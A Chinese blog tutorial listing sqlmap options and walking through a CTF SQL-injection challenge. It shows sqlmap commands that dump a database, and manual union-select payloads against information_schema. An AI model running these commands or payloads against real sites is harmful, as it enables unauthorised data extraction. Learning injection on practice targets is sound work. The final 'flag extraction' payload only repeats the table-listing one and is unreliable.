Sqlmap常见指令及sqlmap教学
- -u 指定目标URL (可以是http协议也可以是https协议
- -d 连接数据库
- --dbs 列出所有的数据库
- --current-db 列出当前数据库
- --tables 列出当前的表
- --columns 列出当前的列
- -D 选择使用哪个数据库
- -T 选择使用哪个表
- -C 选择使用哪个列
- --dump 获取字段中的数据
- --batch 自动选择yes
- --smart 启发式快速判断,节约浪费时间
- --forms 尝试使用post注入
- -r 加载文件中的HTTP请求(本地保存的请求包txt文件)
- -l 加载文件中的HTTP请求(本地保存的请求包日志文件)
- -g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
- -o 开启所有默认性能优化
- --tamper 调用脚本进行注入
- -v 指定sqlmap的回显等级
- --delay 设置多久访问一次
- --os-shell 获取主机shell,一般不太好用,因为没权限
- -m 批量操作
- -c 指定配置文件,会按照该配置文件执行动作
- -data data指定的数据会当做post数据提交
- -timeout 设定超时时间
- --level 设置注入探测等级
- --risk 风险等级
- --identify-waf 检测防火墙类型
- --param-del="分割符" 设置参数的分割符
- --skip-urlencode 不进行url编码
- --keep-alive 设置持久连接,加快探测速度
- --null-connection 检索没有body响应的内容,多用于盲注
- --thread 最大为10 设置多线程
我觉得sql的get注入了解一下这些命令就行了。
接下来我用一个经典题目来教学一下sqlmap怎么使用。
[SWPUCTF 2021 新生赛]easy_sql
Sqlmap我是使用kali上面自带的sqlmap。
首先参数是wllm,这里的话我们直接使用随便的数值就行了
sqlmap -u "http://node4.anna.nssctf.cn:28646/?wllm=1" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" -p "wllm" –dbs
这里我解释一下
-u 指定目标URL (可以是http协议也可以是https协议)
-p 指定注入点的位置
-dbs 列举出数据库
--use-agent UA头,sqlmap绕过需要使用到UA头,UA头可以在bp上面抓包获得。
--cookie 这里的话没有登录界面,如果需要登录的话就需要用到cookie。
这里的话你可以看一下我那个漏洞复现:
CVE-2022-32991漏洞复现 - bu11yy0u - 博客园 (cnblogs.com)
这个上面涉及到使用cookie的使用。
这里的话我们爆出了5个数据库,这里的话我已经做过了,就复现一下就好了,就不一一尝试数据库了。test_db是我们所需要的库。
sqlmap -u "http://node4.anna.nssctf.cn:28710/?wllm=1" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" -p "wllm" -D test_db --tables
--tables 列举出表格
-D 指定哪个数据库
sqlmap -u "http://node4.anna.nssctf.cn:28710/?wllm=1" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" -p "wllm" -D test_db -T test_tb --columns
-T 指定哪个表格
--columns 列举出所有列
现在我们看到了flag,但是里面数据还没有显示出来,这里我们需要再进一步的读数据。
sqlmap -u "http://node4.anna.nssctf.cn:28710/?wllm=1" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" -p "wllm" -D test_db -T test_tb -C flag --dump
-C 指定某一列
--dump 爆出指定的数据。
出现了flag。
Sql手注简略教学
### 使用`#`号
- 有时发现执行的sql语句中没有`#`号
- 原因是url中`#`号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。
所以,HTTP请求中不包括`#`
- 将#号改成url的编码%23就可以了
### 使用`--`和使用`--+`
- 这里发现+号在语句中变成了空格。
用来和后面的单引号分隔开,将后面的语句注释。
- 了解原理后便知道了`--`无法使用的原因,是因为`--`与后面的单引号连接在一起,无法形成有效的mysql语句。
- 在mysql中使用这个语句分析原因,输入后回车显示分号没有闭合
- 所以在注入时我们除了使用`--+`外,也可以使用`--'`来完成sql注入。
这里的话我推荐要是新手小白的话先去玩一下pikachu的sql注入。
这里可以看一下我写的文章:
这里的我也是用刚才那个题目。
手注的重点必须要学一下这几个知识。table_schema、table_name、column_name、information_schemata、information_schema.tables、information_schema.columns。
上面这几个知识对于手注来说十分重要,同时还有sql常见的几个函数union、delete、update、insert into、where、select、order by、and和or。这里的我推荐去菜鸟教程看看。
table_schema那几个的话我拍几张图片看看就行了。
相信聪明的朋友们看一下那几行文字再加上英文意思的理解可以对那几个参数有一定的了解了,再看看下面我的例题你们应该能对手注有一定的了解。
[SWPUCTF 2021 新生赛]easy_sql
首先它提示是wllm做参数,也就是注入口。
这里的话我们得猜一下闭合口。
用单引号出错,两个单引号时正常回显,说明是单引号闭合。接下来我们要判断一下显示的列数。用order by语句。
这里的%23其实就是#在URL编码之后的样子。
在这里我们发现了3的时候不是报错,4的时候报错,说明显示3列。接下来我们判断一下显示的位置。
这里的话选用参数-1的话是因为sql注入会优先选用参数正确的输入来查询进行显示,-1的话是错误的,所以这里会选用后面的联合注入的后面数据进行显示。
知道位置之后就要寻找flag出现的位置。
Payload:
wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%20 %23
%20是空格。这里发现了test_tb和users,我们先选用test_tb看看。
Payload:
wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="test_tb"%20 %23
发现flag,提取flag。
Payload:
wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%20 %23
这里的话我引用到下面两位大佬的文章。